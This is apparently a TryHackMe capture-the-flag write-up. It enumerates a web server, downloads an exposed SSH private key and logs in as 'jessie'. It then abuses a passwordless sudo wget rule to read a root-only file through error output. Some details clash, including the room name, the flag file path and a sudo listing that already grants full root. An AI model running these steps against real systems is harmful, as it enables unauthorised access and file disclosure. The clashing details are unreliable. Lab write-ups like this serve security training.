TryHackMe Wgel CTF Writeup: SSH Key Leak to wget Privilege Escalation

Room Info

• Platform: TryHackMe
• Room name: CorpOne
• Difficulty: Easy
• Goal: Capture user_flag.txt and root_flag.txt
• Link: https://tryhackme.com/room/wgelctf

Discovered Services

• Port 22: SSH
• Port 80: HTTP

Step 1: Web Directory Enumeration

Brute-force the directories twice, uncover a hidden path, and grab a private key.

gobuster dir -u http://10.201.41.182/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -t 20

First we find /sitemap:

gobuster dir -u http://10.201.41.182/sitemap -w /usr/share/seclists/Discovery/Web-Content/common.txt -x html

And straight away we spot .ssh and id_rsa:

http://10.201.41.182/sitemap/.ssh/

Save the private key locally and set the right permissions:

nano id_rsa
chmod 600 id_rsa

Step 2: Figure Out the Username

A comment in the homepage source tells us the username is jessie:

<!-- Jessie don't forget to udate the webiste -->

Step 3: SSH In and Grab the User Flag

Log in as jessie with the private key we picked up, then find user_flag.txt in ~/Documents:

ssh -i id_rsa [email protected]
jessie@CorpOne:~$ cd Documents
jessie@CorpOne:~/Documents$ ls
user_flag.txt
jessie@CorpOne:~/Documents$ cat user_flag.txt
<redacted>

Step 4: Privilege Check

Check the sudo permissions and discover we can run wget without a password:

jessie@CorpOne:~$ sudo -l
Matching Defaults entries for jessie on CorpOne:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jessie may run the following commands on CorpOne:
    (ALL : ALL) ALL
    (root) NOPASSWD: /usr/bin/wget

Step 5: Privilege Escalation

Read root's files with wget.

By abusing sudo /usr/bin/wget -i <file>, we can feed a file's contents in as a URL list; the requests fail, but the error messages spit the original contents back out, effectively letting us "read files" with root privileges.

# Read /root/root.txt directly, piping into less for easy viewing
sudo /usr/bin/wget -i /root/root.txt -O /dev/null 2>&1 | less

The output will contain the contents of root_flag.txt (or display the flag text directly) — just copy it and you're done.

Key Takeaways

1. Directory enumeration and credential exposure
   • The HTTP service exposed the .ssh/ directory publicly, allowing the id_rsa private key to be downloaded directly.
2. Weak deployment practices
   • A front-end comment leaked a valid username (jessie), lowering the bar for login attempts.
3. Misconfigured sudo (NOPASSWD: wget)
   • Allowing /usr/bin/wget to run as root can be abused to:
     • Read files (-i treats file contents as a URL list → error output leaks the original text)

Lessons Learned

On Step 5:

This method is aimed purely at capturing the flag — you can use the error output to leak the flag's contents. If you actually want a root shell, though, it's worth exploring other techniques.